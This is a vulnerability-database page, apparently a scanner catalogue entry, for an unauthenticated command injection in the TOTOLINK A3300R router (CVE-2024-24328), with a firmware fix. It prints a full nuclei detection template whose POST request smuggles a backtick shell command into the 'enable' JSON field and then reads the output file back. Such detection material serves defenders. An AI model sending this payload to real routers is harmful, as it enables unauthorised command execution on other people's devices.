HexBrain

Browse / CVEs / CVE-2024-24328

CVE-2024-24328· totolink / a3300r firmware· CWE-78

TotoLink Router setMacFilterRules - Command Injection

criticalseverity
9.8CVSS score
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setMacFilterRules function.

Impact

Unauthenticated attackers can execute arbitrary OS commands via the enable parameter, potentially compromising the entire TOTOLINK router.

Fix

Update TOTOLINK A3300R firmware to a version newer than V17.0.0cu.557_B20221024.

How to confirm it

Send: POST /cgi-bin/cstecgi.cgi?token= ; GET /{{randstr}}.txt
Positive when: status_code_1 == 200 && status_code_2 == 200 and contains(body_1, "\"success\":true") && contains_all(body_2, "bin","etc")

Run it with nuclei: nuclei -id CVE-2024-24328 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-24328

info:
  name: TotoLink Router setMacFilterRules - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    TOTOLINK A3300R V17.0.0cu.557_B20221024 was discovered to contain a command injection vulnerability via the enable parameter in the setMacFilterRules function.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via the enable parameter, potentially compromising the entire TOTOLINK router.
  remediation: |
    Update TOTOLINK A3300R firmware to a version newer than V17.0.0cu.557_B20221024.
  reference:
    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/TOTOLINK%20A3300R/12/TOTOlink%20A3300R%20setMacFilterRules.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-24328
    cwe-id: CWE-78
    epss-score: 0.06172
    epss-percentile: 0.93546
    cpe: cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*
  metadata:
    vendor: totolink
    product: a3300r_firmware
    fofa-query: title="totolink"
  tags: cve,cve2024,totolink,routers,unauth,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi?token= HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}/advance/portfwd.html?token=

        {"enable":"1`ls>/web/{{randstr}}.txt`","addEffect":"0","topicurl":"setMacFilterRules"}

      - |
        GET /{{randstr}}.txt  HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}}}/advance/portfwd.html?token=

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(body_1, "\"success\":true") && contains_all(body_2, "bin","etc")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from